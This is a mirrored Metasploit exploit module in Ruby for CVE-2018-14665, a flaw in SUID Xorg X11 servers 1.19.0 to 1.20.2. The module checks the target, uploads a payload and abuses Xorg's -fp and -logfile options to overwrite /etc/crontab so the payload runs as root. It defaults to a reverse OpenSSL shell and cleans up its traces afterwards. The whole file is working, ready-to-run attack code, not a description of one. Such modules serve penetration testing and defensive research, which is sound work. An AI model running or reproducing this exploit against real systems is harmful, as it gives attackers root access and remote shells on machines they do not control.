Mirror of metasploit
You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

xorg_x11_suid_server.rb 7.5KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220
  1. ##
  2. # This module requires Metasploit: https://metasploit.com/download
  3. # Current source: https://github.com/rapid7/metasploit-framework
  4. ##
  5. class MetasploitModule < Msf::Exploit::Local
  6. Rank = GoodRanking
  7. include Msf::Exploit::EXE
  8. include Msf::Exploit::FileDropper
  9. include Msf::Post::File
  10. include Msf::Post::Linux::Priv
  11. include Msf::Post::Linux::Kernel
  12. def initialize(info = {})
  13. super(update_info(info,
  14. 'Name' => 'Xorg X11 Server SUID logfile Privilege Escalation',
  15. 'Description' => %q{
  16. This module attempts to gain root privileges with SUID Xorg X11 server
  17. versions 1.19.0 < 1.20.3.
  18. A permission check flaw exists for -modulepath and -logfile options when
  19. starting Xorg. This allows unprivileged users that can start the server
  20. the ability to elevate privileges and run arbitrary code under root
  21. privileges.
  22. This module has been tested with OpenBSD 6.3, 6.4, CentOS 7.4.1708, and
  23. CentOS 7.5.1804, and RHEL 7.5. The default PAM configuration for CentOS
  24. and RHEL systems requires console auth for the user's session to start
  25. the Xorg server.
  26. Cron launches the payload, so if SELinux is enforcing, exploitation
  27. may still be possible, but the module will bail.
  28. Xorg must have SUID permissions and may not start if already running.
  29. On exploitation a crontab.old backup file will be created by Xorg.
  30. This module will remove the .old file and restore crontab after
  31. successful exploitation. Failed exploitation may result in a corrupted
  32. crontab. On successful exploitation artifacts will be created consistant
  33. with starting Xorg and running a cron.
  34. },
  35. 'License' => MSF_LICENSE,
  36. 'Author' =>
  37. [
  38. 'Narendra Shinde', # Discovery and exploit
  39. 'Raptor - 0xdea', # Modified exploit for cron
  40. 'Aaron Ringo', # Metasploit module
  41. 'bcoles' # Metasploit module
  42. ],
  43. 'DisclosureDate' => 'Oct 25 2018',
  44. 'References' =>
  45. [
  46. [ 'CVE', '2018-14665' ],
  47. [ 'BID', '105741' ],
  48. [ 'EDB', '45697' ],
  49. [ 'EDB', '45742' ],
  50. [ 'EDB', '45832' ],
  51. [ 'URL', 'https://www.securepatterns.com/2018/10/cve-2018-14665-xorg-x-server.html' ],
  52. [ 'URL', 'https://github.com/0xdea/exploits/blob/master/openbsd/raptor_xorgasm' ]
  53. ],
  54. 'Platform' => %w[openbsd linux],
  55. 'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
  56. 'SessionTypes' => %w[shell meterpreter],
  57. 'Targets' =>
  58. [
  59. ['OpenBSD', {
  60. 'Platform' => 'unix',
  61. 'Arch' => [ ARCH_CMD ] } ],
  62. ['Linux x64', {
  63. 'Platform' => 'linux',
  64. 'Arch' => [ ARCH_X64 ] } ],
  65. ['Linux x86', {
  66. 'Platform' => 'linux',
  67. 'Arch' => [ ARCH_X86 ] } ]
  68. ],
  69. 'DefaultOptions' =>
  70. {
  71. 'PAYLOAD' => 'cmd/unix/reverse_openssl',
  72. 'WfsDelay' => 120
  73. },
  74. 'DefaultTarget' => 0))
  75. register_advanced_options(
  76. [
  77. OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]),
  78. OptString.new('Xdisplay', [ true, 'Display exploit will attempt to use', ':1' ]),
  79. OptBool.new('ConsoleLock', [ true, 'Will check for console lock on linux systems', true ])
  80. ]
  81. )
  82. end
  83. def check
  84. # linux checks
  85. uname = cmd_exec "uname"
  86. if uname =~ /linux/i
  87. vprint_status "Running additional check for Linux"
  88. if datastore['ConsoleLock']
  89. user = cmd_exec "id -un"
  90. unless exist? "/var/run/console/#{user}"
  91. vprint_error "No console lock for #{user}"
  92. return CheckCode::Safe
  93. end
  94. vprint_good "Console lock for #{user}"
  95. end
  96. if selinux_installed?
  97. if selinux_enforcing?
  98. vprint_error 'Selinux is enforcing'
  99. return CheckCode::Safe
  100. end
  101. end
  102. vprint_good "Selinux is not an issue"
  103. end
  104. # suid program check
  105. xorg_path = cmd_exec "command -v Xorg"
  106. unless xorg_path.include?("Xorg")
  107. vprint_error "Could not find Xorg executable"
  108. return CheckCode::Safe
  109. end
  110. vprint_good "Xorg path found at #{xorg_path}"
  111. unless setuid? xorg_path
  112. vprint_error "Xorg binary #{xorg_path} is not SUID"
  113. return CheckCode::Safe
  114. end
  115. vprint_good "Xorg binary #{xorg_path} is SUID"
  116. # version check
  117. x_version = cmd_exec "Xorg -version"
  118. if x_version.include?("Release Date")
  119. v = Gem::Version.new(x_version.scan(/\d\.\d+\.\d+/).first)
  120. unless v.between?(Gem::Version.new('1.19.0'), Gem::Version.new('1.20.2'))
  121. vprint_error "Xorg version #{v} not supported"
  122. return CheckCode::Safe
  123. end
  124. elsif x_version.include?("Fatal server error")
  125. vprint_error "User probably does not have console auth"
  126. vprint_error "Below is Xorg -version output"
  127. vprint_error x_version
  128. return CheckCode::Safe
  129. else
  130. vprint_warning "Could not parse Xorg -version output"
  131. return CheckCode::Appears
  132. end
  133. vprint_good "Xorg version #{v} is vulnerable"
  134. # process check for /X
  135. proc_list = cmd_exec "ps ax"
  136. if proc_list.include?('/X ')
  137. vprint_warning('Xorg in process list')
  138. return CheckCode::Appears
  139. end
  140. vprint_good('Xorg does not appear running')
  141. return CheckCode::Vulnerable
  142. end
  143. def on_new_session(session)
  144. if session.type.to_s.eql? 'meterpreter'
  145. session.core.use 'stdapi' unless session.ext.aliases.include? 'stdapi'
  146. session.sys.process.execute '/bin/sh', "-c \"#{@clean_up}\""
  147. else
  148. session.shell_command(@clean_up)
  149. end
  150. print_good "Returning session after cleaning"
  151. ensure
  152. super
  153. end
  154. def exploit
  155. check_status = check
  156. if check_status == CheckCode::Appears
  157. print_warning 'Could not get version or Xorg process possibly running, may fail'
  158. elsif check_status == CheckCode::Safe
  159. fail_with Failure::NotVulnerable, 'Target not vulnerable'
  160. end
  161. if is_root?
  162. fail_with Failure::BadConfig, 'This session already has root privileges'
  163. end
  164. unless writable? datastore['WritableDir']
  165. fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable"
  166. end
  167. print_good 'Passed all initial checks for exploit'
  168. pscript = "#{datastore['WritableDir']}/.session-#{rand_text_alphanumeric 5..10}"
  169. @clean_up = "/bin/cat #{pscript}.b > /etc/crontab ; /bin/rm -f #{pscript}.b /etc/crontab.old"
  170. xdisplay = datastore['Xdisplay']
  171. # Uploading file crontab will run
  172. print_status 'Uploading your payload, this could take a while'
  173. if payload.arch.first == 'cmd'
  174. write_file(pscript, payload.encoded)
  175. else
  176. write_file(pscript, generate_payload_exe)
  177. end
  178. register_file_for_cleanup pscript
  179. chmod pscript
  180. # Exploit steps on crontab so backing it up
  181. cmd_exec "cat /etc/crontab > #{pscript}.b"
  182. # Actual exploit with cron overwrite
  183. print_status 'Trying /etc/crontab overwrite'
  184. cmd_exec "cd /etc ; Xorg -fp '* * * * * root #{pscript}' -logfile crontab #{xdisplay} & >/dev/null"
  185. Rex.sleep 5
  186. cmd_exec "pkill Xorg"
  187. Rex.sleep 1
  188. cron_check = cmd_exec "grep -F #{pscript} /etc/crontab"
  189. unless cron_check.include? pscript
  190. rm_f "#{pscript}.b"
  191. print_error 'Deleting crontab backup'
  192. fail_with Failure::NotVulnerable, '/etc/crontab not modified'
  193. end
  194. print_good '/etc/crontab overwrite successful. Waiting for job to run (may take a minute)...'
  195. end
  196. end